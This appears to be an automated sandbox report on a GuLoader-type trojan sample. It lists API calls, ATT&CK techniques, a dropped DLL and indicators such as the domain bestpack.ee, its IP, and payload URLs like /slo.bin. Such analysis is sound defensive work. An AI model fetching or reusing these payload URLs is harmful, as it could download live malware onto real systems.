Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Code function: 0_2_00405C2D GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C2D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Code function: 0_2_00402910 FindFirstFileW,	0_2_00402910

Source: SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74509198454.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74395501664.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73144773492.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73714567079.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75192333805.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73372413154.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74737216556.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75532927856.00000000066BA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	API call chain: ExitProcess graph end node			graph_0-4915
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	API call chain: ExitProcess graph end node			graph_0-4913

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Code function: 0_2_00401774 lstrcatW,CompareFileTime,LdrInitializeThunk,SetFileTime,CloseHandle,lstrcatW,

0_2_00401774

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Code function: 0_2_70591BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_70591BFF

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe"

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

0_2_004034FC

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Clipboard Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Access Token Manipulation	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 System Information Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	50%	ReversingLabs	Win32.Trojan.GuLoader

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll	0%	ReversingLabs

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bestpack.ee	185.86.211.137	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://bestpack.ee/slo.bin	false		unknown
http://bestpack.ee/slo.bin	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://bestpack.ee/slo.binW	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75532844773.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://bestpack.ee/slo.binW	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75305885412.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74737118310.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72118854525.00000000066CD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73486212959.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73372304970.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72916087709.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bestpack.ee/slo.binYR	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74964852204.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bestpack.ee/tpack.ee/-end-point:	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74395501664.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73144571670.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73258455659.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72916629062.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73714567079.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73030912520.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73600667395.00000000066B2000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bestpack.ee/slo.binR	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75532844773.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75419392263.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75305885412.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000002.76733975773.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75192249873.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://bestpack.ee/slo.bin8R	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72801998690.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72118854525.00000000066CD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72286211285.00000000066D1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000002.76733975773.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bestpack.ee/-end-point:	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74395501664.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73144571670.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000002.76733975773.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72688325234.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73258455659.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73372579596.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74509198454.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72916629062.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73714567079.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72574360519.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73030912520.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75305963490.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73600667395.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75078811291.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74851095828.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73486344040.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75419467345.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74623047904.00000000066B2000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://bestpack.ee/slo.binYR	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75305885412.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74737118310.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75192249873.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://bestpack.ee/slo.bin2R	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75532844773.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75419392263.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://bestpack.ee/slo.binR	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73144493078.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73714163433.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74737118310.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72801998690.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73486212959.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73372304970.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74509067339.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74964852204.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72286211285.00000000066D1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73030411499.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72916087709.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72687881385.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74622911186.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73258321058.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://bestpack.ee/slo.binust	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75532927856.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75419467345.00000000066BA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bestpack.ee/slo.binG	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75419392263.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75305885412.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72118854525.00000000066CD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72286211285.00000000066D1000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://bestpack.ee/slo.binG	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72916087709.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://bestpack.ee/slo.binmR	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73144493078.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75419392263.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73714163433.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73486212959.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000002.76733975773.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75192249873.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://nsis.sf.net/NSIS_ErrorError	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000000.00000000.71623708862.000000000040A000.00000008.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmp	false	unknown
http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000001.71909063728.0000000000626000.00000020.00000001.01000000.00000005.sdmp	false	unknown
https://bestpack.ee/slo.binB	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75532844773.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73144493078.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75419392263.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75305885412.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73714163433.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74737118310.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73486212959.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73372304970.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74509067339.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74964852204.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73030411499.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000002.76733975773.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72916087709.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72687881385.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75192249873.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74622911186.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73258321058.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.gopher.ftp://ftp.	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000001.71909063728.0000000000649000.00000020.00000001.01000000.00000005.sdmp	false	unknown
https://bestpack.ee/slo.binmR	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75532844773.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75305885412.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73372304970.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://bestpack.ee/slo.bin4B	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75532844773.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73144493078.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75419392263.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75305885412.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73714163433.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74737118310.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72118854525.00000000066CD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73486212959.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73372304970.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74509067339.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74964852204.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72286211285.00000000066D1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73030411499.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000002.76733975773.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72916087709.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75192249873.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74622911186.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73258321058.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bestpack.ee/oI	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73714163433.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74509067339.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73258321058.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://bestpack.ee/slo.binB	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75532844773.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73144493078.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75419392263.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75305885412.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73714163433.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72801998690.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73486212959.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73372304970.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73030411499.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000002.76733975773.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72916087709.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72687881385.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75192249873.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73258321058.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bestpack.ee/5	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74395501664.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73144571670.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000002.76733975773.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72688325234.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73258455659.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73372579596.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74509198454.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72232647774.00000000066B1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72916629062.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73714567079.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72574360519.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73030912520.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75305963490.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73600667395.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75078811291.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74851095828.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73486344040.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75419467345.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74623047904.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72346415547.00000000066B2000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bestpack.ee/slo.bin7	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72286211285.00000000066D1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73030411499.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72916087709.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
